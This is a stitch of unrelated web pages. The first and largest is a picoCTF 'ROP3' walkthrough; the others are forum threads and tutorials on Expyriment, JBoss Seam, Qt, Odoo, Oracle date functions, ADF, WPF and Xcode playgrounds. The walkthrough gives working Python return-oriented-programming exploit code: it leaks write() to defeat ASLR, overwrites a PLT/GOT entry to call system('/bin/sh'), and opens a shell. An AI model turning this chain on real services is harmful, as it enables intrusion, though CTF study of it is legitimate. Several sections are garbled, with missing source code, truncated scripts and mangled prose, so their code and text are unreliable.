The ROP3 challenge from the picoCTF website offers us this rop3.c source code file:
); }Pretty standard stuff, except for the dead giveaway vulnerable_function. There is a clear,textbook buffer overflow vulnerability there as more bytes are being read into the buffer than was designated. This can be exploited! The function tries to read 256 bytes into a 128 byte buffer which opens huge security holes that can be taken advantage of. To facilitate our exploitation, I'll be running this as a network service using netcat. On the picoCTF servers, nc-e doesn't work since it is a different distribution of netcat, but a workaround can be done.
That simple bash while loop provides the same functionality as would nc -e. By letting this run as a network service, we can just netcat ourselves on port 1234 and interact with an instance of ./rop3. This also allows us to send/receive data from a running instance of ./rop3 which, as we'll see, is crucial for this ROP exploit to work since a data leak in necessary (as ASLR is on full randomization).
Exploitation checklistThe first thing we can possibly check is to see if the stack is executable. Should this be the case, the exploit is a trivial NOP sled + shellcode technique. As you can probably infer by the title of this article, the stack is nonexecutable, but let's verify.
In this snippet from my terminal, I download a useful utility known as checksec, which allows you to analyze certain security components of a given binary. I give myself execution permission on the binary and run it with the rop3 program on the picoCTF servers. As we can see in the picture, "NX enabled" tells us that the stack in nonexecutable. However, there are no stack canaries, so dealing with the infamous stack smashing protection can be forgotten about!
Next on the checklist for possible exploits is ret2libc. Perhaps if a libc function like system() or execlp() can be located precisely, we can bypass NX and overflow EIP to point to system() with an argument of "/bin/sh". We don't seem to have any instance of a libc function in our source code that would facilitate our exploit, but lets do a quick debug of our binary and print out the location of system to see if we can possibly use it as an attack vector.
Uh-oh. The address of system() changes in between runs! This means we have ASLR enabled and standard ret2libc isn't going to help us out here. We can't have ret2libc work because the address of system() isn't deterministic without additional information(I'll get to this a bit later). How bad is ASLR in this case? Well, doing a cat /proc/sys/kernel/randomize_va_space gives us the value "2" meaning ,ASLR is on full randomization. ( For more information on the different "levels" of ASLR, read this document). What this implies is that environmental variables are also effected. So even if NX had been disabled, thus allowing an executable stack, locating our shellcode in an environmental variable would have been harder to do and unpredictable between runs of the program, thanks to ASLR).
So now what? Environmental-variable based attacks won't work due to NX and ASLR, and ret2libc won't work because of ASLR. Here's an idea. What if instead of relying on randomized functions, why don't we reuse some of the parts of the binary that are fixed? Perhaps if we can find bits and pieces within the binary itself that, when crafted together, perform a desired exploit, we can mitigate both NX and ASLR! This is the fundamental idea behind ROP. Reuse code that's already in your binary. That code nor the location of it can be randomized ,thus bypassing ASLR, and because we never try to execute stack-memory, NX isn't an issue. Additionally, constructing ROP exploits follows a standard stack model with regards to function calls (the return address proceeding the actual function, and arguments thereafter). ROP is like a lesson in recycling bits of your code to form exploits =)
Stackframes 101Before delving deeper into this specific instance of an ROP-based exploit, lets examine a sample portion of the stack where a function call is made. This will be the basis for understanding ROP exploits.
So here we have the function strcpy() that will copy STRING_2 into STRING_1 and will return to RET-ADDR when finished. Notice how the return address for a function call comes in between the address of the function at hand (in this case strcpy) and the first argument. The structure of this should also be strikingly similar to you if you've done binary exploitation in the past. This is also a standard ret2libc exploit! EIP will be overwritten to point to a function of choice, followed by a return address (which in many ret2libc exploits is either 0xAAAAAAAA or the address of exit() ), and the arguments follow along. This same sort of exploit can be done with the components within your binary. Only, you're not returning to libc. But being limited to what is available within our binary isn't very helpful. Unless there's a plain old call to system("/bin/sh"), this technique isn't helping us! Which leads us to the discussion of having "chained" (or multiple) of these functions.
Imagine if when stepping through your binary you find the location for the string "/bin" and the location of another string containing "/sh". You've also found the location of an unused segment of memory that can contain these characters. And luckily for you, you can also find out the address of a function such as strcpy(). The elements for spelling out an attack are right at your premise! Logically, if we can strcpy(unused_memory,"/bin"); strcpy(unused_memory+4,"/sh"); we now have a location in memory containing the string "/bin/sh", all that's left is to find out a way to execute it! But wait a minute, I need to make 2 function calls on different sets of arguments. How in the world can I construct a stack that looks like this? Great question! The answer to this is also one of the most fundamental pieces to ROP. Let's explore.
ROP baby steps
Referring back to our previous image of a stack frame for the strcpy function, its easy to see that if we can manipulate/control the return address and perhaps make it return again to strcpy using a different set of arguments, our master plan would work. The only problem is, if we just make the RET-ADDR = &strcpy, nothing would really be accomplished. After the initial strcpy is done, we return again to strcpy, but this time, the return address would be STRING_1 (clearly invalid) and would try to copy into STRING_2 the value of whatever is above STRING_2 on the stack. Perhaps a picture would clear up some confusion.
Here is what the stack would look like if RET-ADDR would equal &strcpy:
The blue signifies the return address. So the red strcpy has no problems executing : it copies STRING_2 into STRING_1 and returns into blue STRCPY. The problems start unraveling as soon as the blue STRCPY makes it stack frame. To the blue STRCPY, its stack-frame looks like this:
The problem here is that the blue strcpy is rather useless. On top of useless, it will just simply crash the program, since (the original) STRING_1 is not a valid return address. So how can we chain these function calls such that the red strcpy can execute properly and the blue strcpy can execute properly with its own arguments and return values? If there is hope... it lies in the
Instead of returning directly into another function call, it seems as if it would make more sense if we can somehow get rid of the 2 arguments and then spell out the stack frame for the next call to strcpy. What I mean by this is if RET-ADDR (for the red strcpy) can somehow pop STRING_1 and STRING_2 off the stack, then call (blue) strcpy with the appropriate arguments we'd be in business. This operation in ROP terminology is known as a a gadget. And good news too, even small binaries like the one we're dealing with for the ROP3 picoCTF challenge are usually quite rich with gadgets! In essence, a gadget is a series of x86 (or equivalent in other architectures) pop instructions followed by a ret instruction. pop does exactly as it sounds, it pops the next item off the stack. More specifically, it advances ESP by 4 bytes, thus effectively getting "rid" of the arguments. So if we can find in our binary, the location of a sequence of 2 pops followed by a ret we'd be talking! The 2 pops would advance ESP past STRING_1 and STRING_2. The ret would call whatever function happens to be in memory above STRING_2. So now, if we draw out our stack as follows:
We can have 2 strcpy calls! Upon further inspection, the red strcpy simply copies STRING_2 into STRING_1 and once its finished, returns into a pop/pop/ret sequence. This makes the ESP jump over STRING_1, jump over STRING_2, and return into the next available 4 byte sequence in memory, which happens to be the blue strcpy! Now, a stackframe is rebuilt for the blue strcpy, following the same rules as the red one. This time we will copy STRING_4 into STRING_3 and return into RET-ADDR-2, whatever it may be. Perhaps it can even be another pop/pop/ret sequence to allow us to call yet another function.
The purpose of all of this is to allow us to chain together sequences of function calls with their appropriate arguments to make exploiting that much more powerful. Since we can find the locations of these pop/pop/ret sequences within our binary itself, we can rest assured they won't be randomized, and the addresses of functions such as strcpy can be determined given an information leak, ASLR is contemplating suicide =)
Plan of attack
Now that we know how to construct these stackframes for multiple function calls, lets build a plan of attack.
- No matter what, we need to somehow determine the location of system() at runtime so that grabbing a shell can even be possible. This can be done with an information leak and calculating offsets (I'll cover how to do this).
- The string "/bin/sh" needs to be placed somewhere in memory so that we can actually call system() with the correct argument to grab a shell. This can be done with read() calls.
- A call to system() must be forced. Because the address of system() will be calculated at runtime, we can't magically force EIP to point to system. Instead, we need to trick EIP into pointing to a function that was "spoofed" to be system(). This is perhaps the most obscure and initially tricky to grasp part of ROP, but once we see how its done, it will all make sense.
Attack Phase 1
Obviously ASLR is something we will need to bypass effectively to land our exploit. Due to the randomization of certain libc functions such as system(), we need an information leak to calculate where it will be during runtime. Lucky for us, even though the address of system() may change from run to run, its offset (meaning the difference/"distance" between it and another function) will remain the same, regardless of ASLR. This is good news! This means that if we calculate the offset between system() and write() to be 0xdeadbeef (for example) and then we can leak information about where write() currently resides in memory, we can add (or subtract) 0xdeadbeef from it to obtain the address of system! This, however, requires us to know the location of at least 1 function call prior to runtime. Using objdump and looking at the PLT (procedure linkage table), we can grab this information easily. Let's see some output:
An objdump -R tells us that both read() and write() are in the GOT at finite locations! Jackpot! Searching a bit deeper reveals to us that read() and write() are implemented as jmps in the PLT. So where's the randomization here? Everything seems to be finite. The randomization takes place at the actual locations where we would jmp whenever we call read() or write(). The specific location in the PLT where read() and write() reside as well as where they jump are concrete, but where each jmp location points to is random. Notice the asterisk next to the red-boxed jmp instructions. Looks like pointer syntax doesn't it? It can be thought of in that way, the pointer locations are concretely known, but where they point is the magic of ASLR.
Since offsets are consistent, we can calculate the offsets between system() and write() by subtracting where they reside. Let's do this now.
The addresses of system() and write() are printed from a debug session. (As a side note, notice how the address of write is 0xf76caae0. This same value is stored within the "pointer" that write() jumps to in the PLT). We take the difference between the two to be 657552, or equivalently 0xA0890 in hex. To prove that offsets remain consistent, I'll run a new gdb session, this time subtracting 0xA0890 from the address of write() and we should get the beginning of the instructions for system().
Confirmed! We subtracted the offset we had previously determined (0xa0890) from the current address of write() and got the beginning of system() ( shown in blue). To further prove the case, we examined the instruction where system() currently resides and we get equivalent values ( shown in green).
So to put this into perspective, if we can get the program to ouput (via its socket) the current address of write() back to us, we can subtract the corresponding offset (0xa0890) and grab the address of system.
So to put this into perspective, if we can get the program to ouput (via its socket) the current address of write() back to us, we can subtract the corresponding offset (0xa0890) and grab the address of system.
Implementing this in python is fairly straightforward.
import socket import time from struct import pack,unpack def get_socket(chal): s = socket.socket(); #s.settimeout(5); s.connect(chal); return s; offset = 0xa0890; # calculated by subtracting write and system write =0x080483a0; # from objdump -D ./rop3 | grep write write_addr = 0x804a010; #write's .plt entry (a.k.a the "pointer") chal = ('127.0.0.1',1234); # make a connection to our netcat session overflow = "A" * 140; # After 140 bytes, the 0x41 bytes start to overflow into EIP payload = pack("<IIIII",write,0xdeadbeef,1,write_addr,4); rop = overflow + payload; s = get_socket(chal); s.send(rop); current_write = s.recv(4); current_write = unpack("<I",current_write[0:4])[0]; print "write = ", hex(current_write); print "system = " ,hex(current_write - offset);This simple script simply opens up a socket connection to our netcat service and uses the python pack module to write the payload. The payload part sets up a simple stack frame where write is called with arguments 1 (meaning stdout), the value of the "pointer" in the PLT for write(), and 4 bytes (since a 32 bit address is 4 bytes). The return value is just an arbitrary 0xdeadbeef (but we'll be getting those pop/pop/pop/ret gadgets in pretty soon!). Running this we get the following output:
Great! We can get the address of system now!
Exploit phase 2
Now we must load the value "/bin/sh" into memory so that system() can actually be called on an argument that matters! So we're going to need to find a buffer that can hold "/bin/sh". A good place to start is the .data segment.
We've found an 8-byte location in memory that is not READONLY (and thus we can write to it!). The address is 0x0804a018. To store "/bin/sh" to it, we can instruct the rop3 program to initiate a call to read() through stdin ( which will equate to reading from the socket). The reason we choose read() is because, like write(), we know its exact location in the PLT at all times, so its much easier to call read() than say, strcpy() ( which would have to be calculated using the offset method, as shown above).
In the following script we will again exploit the rop3 program to read the string "/bin/sh" into the empty buffer we found, as well as printing it back out so we can confirm that the read() did in fact take place correctly. This is going to require us to call 2 functions. See where this is going? We need a gadget! But not just a pop/pop/ret gadget, we'll need a pop/pop/pop/ret (triple pop, ret) gadget to skip over the file descriptor, the buffer, and the number of bytes (all 3 arguments required for read() ). As a side note, I've already determined the location of a pop/pop/pop/ret gadget within the binary, which is very easy to find using objdump -d rop3 and grep'ing for -A3 pop. Additionally, several tools exist (such as ropeme) that find ROP gadgets in your binaries.
import socket import time from struct import pack,unpack def get_socket(chal): s = socket.socket(); #s.settimeout(5); s.connect(chal); return s;IIIII",read,pppr,0,buff,7,write,0xdeadbeef,1,buff,7); rop = overflow + payload; s = get_socket(chal); s.send(rop); s.send("/bin/sh"); # will be expecting this by the blocking call to read() print("buff = " + s.recv(7));
Great! This program produces the following output:
Success! We are successfully writing "/bin/sh" to the .data segment buffer!
Exploit phase 3
Whew! The first 2 items on the plan of attack are taken care of, now lets attack the 3rd.
As we've seen with the 2 sample ROP-based programs from above, the actual ROP payload is fixed, the only thing we can do is send and receive information from the socket to guide us along the ROP payload. But other than that, we cannot modify our ROP payload at runtime. This is why we need to somehow force( or, as we'll see, trick) the EIP into executing system() when it really thinks its running something else.
Let's take a look at the source code once more to see where we can pull off the trickery.
); }There's a suspicious write(STDOUT_FILENO,"Hello, World\n",13); just after the call to vulnerable_function(). If there's but one lesson you must take out of all the blog posts or writeups you ever read about CTF challenges, its that every line counts. That write() was put in there for a reason, and we shouldn't just ignore it. As a matter of fact, that innocent looking call to write() will actually be part of the reason why this exploit works and why we can get shell access on this vulnerable program. Let's see why.
In the same way that we can call read() in an attempt to store the string "/bin/sh" into an empty buffer, we can technically call read() to store any sequence of bytes into any location we wish. This is more powerful than it may seem at first. Remember when we spoke about the PLT and how write() was implemented as a jmp to another memory address? Well, what is stopping us from storing the address of system() , which we've calculated from offsets, into the memory pointed to by that jmp instruction pointer? Nothing. The ramifications of that would be that the next time write() is called, the jmp will not take us to the instructions for write(), but rather to the instructions for system(). It's as if when we call write(), we're instead calling system(). This is how we trick EIP into loading system() for us.
Tying it all together, we must get the address of system(), load "/bin/sh" into the .data segment buffer, and overwrite whatever is at the jmp instruction pointer to instead point to system. After this, we can pop/pop/pop/ret into write (which will actually execute system() ! ) with a return address of 0xdeadbeef, and argument of the data segment buffer (which would at that point contain "/bin/sh").
Here's the program:
import socket import time from struct import pack,unpack def get_socket(chal): s = socket.socket(); #s.settimeout(5); s.connect(chal); return s; #notice this new shell() function which allows us to interact with the shell def shell(sock): command = ''; while(command != 'exit'): command = raw_input('$ '); sock.send(command + '\n'); time.sleep(.2); print sock.recv(0x10000); return;",write,pppr,1,write_addr,4); # give us the current write() address payload += pack("<IIIII",read,pppr,0,buff,7); # read "/bin/sh" into buff payload += pack("<IIIII",read,pppr,0,write_addr,4); # overwrite the jmp pointer payload += pack("<III",write,0xdeadbeef,buff); # call write() with the single buff argument rop = overflow + payload; s = get_socket(chal); s.send(rop); current_write = s.recv(4); current_write = unpack("<I",current_write[0:4])[0]; #do some debugging =) print "write = ", hex(current_write); print "system = " ,hex(current_write - offset); s.send("/bin/sh"); # store "/bin/sh" into the buffer s.send(pack("<I",current_write-offset)); # send address of system() to overwrite the PLT #by now we should have a shell! Let's interact! shell(s);
Woohoo! Lets see it working!
The code executes the payload, and when an 'ls' is done, we get the files within the directory! But, more importantly, the key is rop_rop_rop_all_the_way_home
Well that was a fun (and randomized) nut to crack! We were able to calculate offsets to determine offsets to find out where system() would be, then stored "/bin/sh" into a location in memory, and finally overwrote the PLT entry for write() so that the next time write() were to be called, we actually pointed to system()!
I hope this was informative and please let me know any comments =)
Great, Thanks !
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http://blog.cs4u.us/2014/11/anatomy-of-rop-attack-with-picoctf-rop3.html
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CC-MAIN-2020-05
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en
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refinedweb
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Expyriment Doesn't Move (_textline.py problem)
Hello,
I'm a beginner of expyriment and have a trouble about running python files.
I can not run even a tutorial code().
This is my pc spec → macOS 10.12.6, python3.6, expyriment0.9.0
I would appreciate if you could help me.
kazukiMacBook-Pro:desktop kazuki$ python tutorial.py
Expyriment 0.9.0 (Python 3.6.1)
tutorial.py
Traceback (most recent call last):
File "/Users/kazuki/anaconda/lib/python3.6/site-packages/expyriment/stimuli/_textline.py", line 99, in init
with open(self._text_font, 'rb') as f:
FileNotFoundError: [Errno 2] No such file or directory: ''
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "tutorial.py", line 4, in
expyriment.control.initialize(exp)
File "/Users/kazuki/anaconda/lib/python3.6/site-packages/expyriment/control/_experiment_control.py", line 454, in initialize
position=(0, -5))
File "/Users/kazuki/anaconda/lib/python3.6/site-packages/expyriment/stimuli/_textline.py", line 102, in init
raise IOError("Font '{0}' not found!".format(text_font))
OSError: Font 'None' not found!
Hi there,
it seems that you are trying to use a font that is not available.
Are you using any special fonts?
Can you send me the content of your
tutorial.pyfile.
How did you install Expyriment?
Thank you for your responding.
I don't use any special fonts.
I installed Expyriment by using pip command. (pip install expyriment)
Regards,
import expyriment
exp = expyriment.design.Experiment(name="First Experiment")
expyriment.control.initialize(exp)
expyriment.control.start()
expyriment.control.end()
Mmh, that is strange. Could you give me the output of:
Also, has XQuartz been installed correctly?
Oh... XQuartz has not been installed correctly.
tutorial.py and other files work well after I installed XQuartz correctly.
Thank you very much!
Glad this is solved! Enjoy!
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http://forum.cogsci.nl/discussion/comment/11902/
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CC-MAIN-2020-05
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en
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refinedweb
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15. Re: Injection And Child ObjectsTom Goring Feb 27, 2008 3:30 PM (in response to Tom Goring)
Hi,
Yes that does work but it's not what Pete suggested I think.
Is it the case then you should never store a reference to a Seam object. i.e. only use injection...
Workaround is to rather than store the parent reference in the PojoChild look it up every time it is required. PojoChild in my case is like a utility class that can add functionality to the parent... Doing the look up or using injection makes the utility more cumbersome as it does not know the parent seam component name at runtime (and so this would have to be passed in).
16. Re: Injection And Child ObjectsPete Muir Feb 29, 2008 11:35 AM (in response to Tom Goring)
Tom Goring wrote on Feb 27, 2008 03:30 PM:
Is it the case then you should never store a reference to a Seam object. i.e. only use injection...
Yes, basically. Whilst in the same request it should be ok though. Certainly safer to always use lookup in the child.
17. Re: Injection And Child ObjectsMatt Drees Mar 2, 2008 9:45 PM (in response to Tom Goring)
Hmm.
And you're also doing
public PojoChild getPojoChild() { if ( pojoChild==null ) { System.out.println("creating pojo"); this.pojoChild = new PojoChild(instance()); } return pojoChild; } ... public static SeamParent instance() { return (SeamParent)Component.getInstance("seamParent"); }
as Pete said, right? If so, then I think that should work.
18. Re: Injection And Child ObjectsTom Goring Mar 3, 2008 12:02 PM (in response to Tom Goring)
Hi,
Yes I tried that.... it does not work.
It only works if you look you look up the SeamParent from the PojoChild every time it is required.... i.e. you can't store any kind of reference to it.
This is a bit of a shame for me as I was planning small utility classes (e.g. action handler classes) to work with the parent.... The only way this works is if I look up the parent every parent is required.
19. Re: Injection And Child ObjectsMatt Drees Mar 4, 2008 4:42 AM (in response to Tom Goring)
You're right, you're right.
The culprit here is the org.jboss.seam.core.MethodContextInterceptor, which, during the execution of a component's method (such as create() above), makes it impossible to obtain a reference to that component's proxy object.
It turns out there is a jira issue for this: JBSEAM-2221. So, maybe go ahead and vote for that issue. It's something that I think needs to be added to Seam, too.
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https://developer.jboss.org/thread/180481?start=15&tstart=0
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CC-MAIN-2020-05
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en
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refinedweb
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Corrupted heap space using QtXmld4.dll (VS 2010)
hello all,
to make a long story short, here is the code:
@
#include <QtXml\qdom.h>
#include <qdebug.h>
#include <crw.h>
int main(int argc, char *argv[])
{
QFile f(".\app.xml");
QString errorMsg;
int a, b;
QDomDocument doc( "appsettings" );
if( !f.open( QIODevice::ReadOnly ) )
return -1;
if( !doc.setContent( &f, &errorMsg, &a, &b ) ) //here is where I get the exception
{
f.close();
return -2;
}
f.close();
return 0;
}
@
linking libraries : qtmaind.lib, QtCored4.lib, QtXmld4.lib
and, th callstack looks like:
@
ntdll.dll!77690844()
[Frames below may be incorrect and/or missing, no symbols loaded for ntdll.dll]
ntdll.dll!77652a74()
ntdll.dll!7760cd87()
QtXmld4.dll!_unlock(int locknum) Line 375 C
QtXmld4.dll!_free_dbg(void * pUserData, int nBlockUse) Line 1270 + 0x7 bytes C++
KernelBase.dll!7582468e()
QtXmld4.dll!_CrtIsValidHeapPointer(const void * pUserData) Line 2036 C++
QtXmld4.dll!_free_dbg_nolock(void * pUserData, int nBlockUse) Line 1322 + 0x9 bytes C++
QtXmld4.dll!_free_dbg(void * pUserData, int nBlockUse) Line 1265 + 0xd bytes C++
QtXmld4.dll!operator delete(void * pUserData) Line 54 + 0x10 bytes C++
QtXmld4.dll!QTextDecoder::`scalar deleting destructor'() + 0x21 bytes C++
QtXmld4.dll!QXmlInputSource::~QXmlInputSource() Line 1357 + 0x22 bytes C++
QtXmld4.dll!QDomDocument::setContent(QIODevice * dev, bool namespaceProcessing, QString * errorMsg, int * errorLine, int * errorColumn) Line 6755 + 0x31 bytes C++
QtXmld4.dll!QDomDocument::setContent(QIODevice * dev, QString * errorMsg, int * errorLine, int * errorColumn) Line 6815 C++
test.exe!main(int argc, char * * argv) Line 17 + 0x19 bytes C++
test.exe!__tmainCRTStartup() Line 278 + 0x19 bytes C
test.exe!mainCRTStartup() Line 189 C
kernel32.dll!76c23677()
ntdll.dll!775f9f02()
ntdll.dll!775f9ed5()
@
(test.exe is main.cpp)...
any ideas?
Thanks,
G
There is no prebuilt binary version of Qt for Visual Studio 2010.
Did you compile Qt yourself with your VS 2010 or did you use the binary from the download page (which is for VS 2008)?
Thank you for the replay.
I build it myself, the only thing that I changed was the runtime-library flag from /MDd to /MTd so my client (to be) will not need to install the redistribution, but I used the configuration provided with the source for vs2010...
also, there is no .NET at all here, and, other things, like qtsqlite and gui that I use work perfectly.
Qt and the client code must be compiled and linked with the same linker flags. Do not mix them, otherwise you might end up using two different C/C++ runtimes, which leads to memory corruption when new is called in one implementation and delete in the other.
well, they are, all /MTd and /MT (for release)
Hm, strange. I've no clue what's going wrong there. Maybe someone else will jump in - I don't have VS2010 at hand to do a check myself.
I hope so, I will try creating a static library set, just to check, worst case, the XML parsing DLL I'm working on will be created using static libraries.
anyone... HELP! hahaha
Are you sure, your Qt libs were build with /MTd and your binary also for debug and all with /MT for release?
It looks (from the defect behavior) very like these do not fit together...
How did you change the flags for Qt? Did you use dependency viewer to verify, Qt dies not use the redistributables?
I will build again and run all the nmake output to a file...
according to the build log (all 5Meg of it) there is no indication of any use of -MDd or -MD, just MT.
I am not that strong in c/c++ but,
according to the callstack we can see that the heap corruption is due to a call of a distructor of the passed &file, or one of it's components. so, we can say that the code itself cannot work with such parameters as -M, because of such call, right?
Hi,
I thopught a bit about this, /MT means link against a static library, that means you add it to all binaries, you create. If you link a dll with /MT, the code is added to that dll. Then you link your executable againtst that and it is also added there. Then you have two different heaps, which leads to that crash. If you use /MT, you MUST use Qt as static library or use /MD (and the vc redistributables).
thank you Gerolf, after sleeping on it, I came also to the same conclusion.
In order for QT to be used in such a way the code must be created with 'awareness' of two (or more) different heap spaces, so, I will be linking QT statically for the xml parser..
and, the more I think about it, the more it makes sense also.
so, thank you all for the help
I rhink, you have to link Qt complete statically, or use /MD. The Qt libraries are not memory neutral (which means, memory allocate din one library may be freed in another one).
|
https://forum.qt.io/topic/4126/corrupted-heap-space-using-qtxmld4-dll-vs-2010
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CC-MAIN-2017-43
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en
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refinedweb
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Odoo Help
Odoo is the world's easiest all-in-one management software. It includes hundreds of business apps:
CRM | e-Commerce | Accounting | Inventory | PoS | Project management | MRP | etc.
How to Search for product references only in Order line
Working on Windows.
I am trying to search reference/default_code of products from the sale order line without considering the case but only searching the beginning of each reference. similar to searching LIKE 's%' in sql. At the moment OpenERP search LIKE '%s%' is it possible to have a code that ---
get product_id in product.product for default_code (that is reference) like ? (search+'%',)
I want to apply this to sales order line for getting the products. Please anyone help. thanks Also I should say all products have unique reference (default_code) and we only search by these. So I would be glad if anyone could suggest how I can make the search look in the reference only rather than both reference and product name. Thank you in advance. python code:
def onchange_case(self, cr, uid, ids, default_code): result = {'value': { 'default_code': str(default_code).upper() } } return result
xml code:
<field name="default_code" on_change="onchange_case(default_code)"/>
use the lower() or upper() function to format the user input.
This will require your database to be uniformly upper or lower case, but that is easier to control than user input.
About This Community
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|
https://www.odoo.com/forum/help-1/question/how-to-search-for-product-references-only-in-order-line-38785
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CC-MAIN-2017-43
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en
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refinedweb
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This is the XInclude module, which is used with the modular documents CPF application.
To use the XInclude module as part of your own XQuery module, include the following line in your XQuery prolog:
import module namespace xinc = ""
at "/MarkLogic/xinclude/xinclude.xqy";
The library namespace prefix
xinc is not predefined
in the server.
|
http://docs.marklogic.com/xinc
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CC-MAIN-2017-43
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en
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refinedweb
|
This. TO_NUMBER to the result to get an integer, so that you can simply subtract one from the other and multiply by 1440..
Anyway, consider the following library of handy date functions our Oracle WTF Easter gift to you, the online development community.;
Just for fun, let's test it:
CREATE TABLE wtf_test (start_date NOT NULL, end_date NOT NULL) AS
SELECT DATE '2006-12-25' + DBMS_RANDOM.VALUE(1,365)
, DATE '2007-12-25' + DBMS_RANDOM.VALUE(1,365)
FROM dual CONNECT BY LEVEL <= 1000;
-- ...several runs here to allow for caching etc, last set of results shown...
SQL> set timing on autotrace traceonly stat
SQL> SELECT dates_pkg.minutes_elapsed(start_date,end_date) FROM wtf_test;
1000 rows selected.
Elapsed: 00:00:03.96
Statistics
----------------------------------------------------------
16000 recursive calls
----------------------------------------------------------
0 recursive calls
So the handy package version takes 25 times as long as the 1-line SQL version.
And in the interests of fairness, in case you're thinking perhaps that is just the normal overhead of calling PL/SQL functions in SQL, let's try our own function:
Still 15 times faster.
Many thanks to Padders for sharing this one.!
public void removeAllRows(){ // rangeSize is -1 Row[] rows = getAllRowsInRange(); for (int r = 0; r < rows.length; r++) if (rows[r] != null) rows[r].remove(); }. any questions related to the white paper, please drop me a comment and I will reply a.s.a.p.
The logical thing to do was be to but my code for doing this into a class and extend this class for all of my managed beans. The class is called JSFBean and uses the binding "#{bindings}" to access the binding container. The three methods in the class (so far) are: execute, getValue and setValue.
The bean which I have called JSFBean includes these three methods and some basic error handling. When creating a backing bean simply add "extends JSFBean" to the class definition.
package com.delexian.ui.backing;import javax.faces.application.FacesMessage;import javax.faces.context.FacesContext;import javax.faces.el.ValueBinding;import oracle.adf.model.binding.DCBindingContainer;import oracle.binding.OperationBinding;public class JSFBean { public JSFBean() { } public DCBindingContainer getBindings() { FacesContext fc = FacesContext.getCurrentInstance(); ValueBinding vb = fc.getApplication().createValueBinding("#{bindings}"); DCBindingContainer dc = (DCBindingContainer) vb.getValue(fc); return dc; } public boolean execute(String operation){ DCBindingContainer bindings = getBindings(); OperationBinding operationBinding = bindings.getOperationBinding(operation); if (operationBinding == null){ FacesContext fc = FacesContext.getCurrentInstance(); fc.addMessage("Invalid Operation", new FacesMessage(operation + " is not a valid operation for this page")); return true; } operationBinding.execute(); return operationBinding.getErrors().isEmpty(); } public Object getValue(String el){ FacesContext fc = FacesContext.getCurrentInstance(); ValueBinding expr = fc.getApplication().createValueBinding(el); return expr.getValue(fc); } public void setValue(String el, Object value){ FacesContext fc = FacesContext.getCurrentInstance(); ValueBinding expr = fc.getApplication().createValueBinding(el); expr.setValue(fc, value); }}
package com.delexian.ui.backing;public class Employees extends JSFBean { public Employees() { } public String calculate_action() { execute("CalculateCommission"); execute("Commit"); return null; }}
Interesting
I had seen some rumours floating around that Oracle was going to try and take over parts of SAP, guess the rumours were wrong, but some legal work was brewing. Makes you wonder who stated the rumours to begin with.
|
http://www.orafaq.com/aggregator?page=623
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CC-MAIN-2017-43
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en
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refinedweb
|
A short post on how to show or hide a control in WPF by using a BooleanToVisibilityConverter.
As a minimalist example, start by creating a new WPF project from Visual Studio:
So that our main window XAML looks as follows:
<Window x: <Grid> </Grid> </Window>
As an example control that we wish to show or hide, modify the xaml to include a button, as follows:
<Window x: <Grid> <Button Content="Button" HorizontalAlignment="Left" Margin="10,10,0,0" VerticalAlignment="Top" Width="75"/> </Grid> </Window>
When running the program a button control is now visible:
As in a previous posting, I will use the MVVM pattern as a means of abstracting the view’s state and behaviour. Add a ViewModel class, as used in the Model-View ViewModel pattern.
In Visual Studio add a new class representing the ViewModel for our main window XAML and call it MainWindowViewModel.cs:
The ViewModel, which as you can see here is very basic, is simply used to demonstrate how the Button control can be set to visible or invisible according to the boolean value of the ShowButton property contained in the ViewModel.
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace ShowHideWpf { public class MainWindowViewModel { private bool _showButton; public MainWindowViewModel() { _showButton = false; } public bool ShowButton { get { return _showButton; } } } }
I also modify the original XAML to add the data bindings and the BooleanToVisibilityConverter resource needed to implement this:
<Window x: <Window.DataContext> <VM:MainWindowViewModel /> </Window.DataContext> <Window.Resources> <BooleanToVisibilityConverter x: </Window.Resources> <Grid> <Button Visibility="{Binding Path=ShowButton, Converter={StaticResource Converter}}" Content="Button" HorizontalAlignment="Left" Margin="10,10,0,0" VerticalAlignment="Top" Width="75" /> </Grid> </Window>
Given that we have set the ShowButton to boolean false in the ViewModel it is no surprise that the button now becomes invisible when we run the program:
If we now go and restore the ShowButton to boolean true, the button becomes visible again:
public MainWindowViewModel() { _showButton = true; }
This concludes this tutorial on setting the visibility of WPF controls.
Example Visual Studio project available from the following link:
|
http://www.technical-recipes.com/2015/showing-and-hiding-controls-in-wpf-xaml/
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CC-MAIN-2017-43
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en
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refinedweb
|
Adding Playgrounds to your Xcode Project
Since the addition of Swift, one of my favorite new features has been the Playground. These are great for rapid iteration on an idea until we get it just right. Unfortunately, sometimes we want to use features of our existing code base within these playgrounds so that we can access and build on features we’ve already created. Today, we’re going to talk about how you can use your project’s code base inside of a playground.
Create a New Project
First off, let’s create a new single view project, specify our language to be Swift, and call it HelloPlayground. The specific settings don’t matter too much, but here’s a shot of mine just in case. If you’re working with an existing project, just skip to the next step.
Note: Your project should have a target 8.0+, and Swift.
Add Code To Share
Now let’s create a file that we will eventually access from our playground. Let’s name it Hello.swift. Since this is just an example, we’re only going to create one method. Your file should look like this:
func hello() -> String {
return “Hello Playground”
}
Make it a Workspace
We’re going to leave that file for now. This next part is easy, just go to File -> Save As Workspace.
You should save this in the same directory as your .xcproject file, and name it the same thing. These steps may not be absolutely necessary, but they will make your life easier.
Add Playground To Workspace
Now that we have our workspace, let’s add a playground to it. The easiest way to do this is to add a new file with `cmd + n`, then under source select Playground. I personally like to name mine `Playground`, but you can name yours whatever you want.
Create Framework Target
We’re not quite ready to use our playground yet. For our playground to be able to access the code from our project, we’ll have to add a new target to our project that builds to a framework. First, select your Xcode project in the workspace, then create a framework target by going to File -> New -> Target.
Next, select iOS, then select Cocoa Touch Framework from the Framework & Library section.
Now, we’ll name our target. I like to name my targets by the project name, followed by the OS type as a suffix. You can name yours however you prefer. Don’t check the Include Unit Tests box unless you have a specific reason to do so. For our purposes, we do not.
Name Our Framework
If you try to build your framework, you may get an error. This is because of the hyphen included in the name. We’re going to rename it to match our project anyways, so let’s do that now. Select your project in the navigator, then select HelloPlayground-iOS -> Build Settings. Once in the build settings menu for our application, type Product Name into the search bar, then enter HelloPlayground into the name field.
Add Files To Framework
Next we need to make sure that the files we want to access are added to our framework target. Let’s add Hello.swift to our target.
Any new files added to our project will need to be added to the framework target if we want to access them.
Build Our Framework
Now we can finally build our framework. Select your framework, and iOS Device from the build sources. Once this has been selected, press the play button, or build with cmd + b.
Note: Sometimes updated code wasn’t getting updated to my playground. Building to iPhone 6 Simulator, and then to iOS Device again helped resolve this.
Import Our Framework
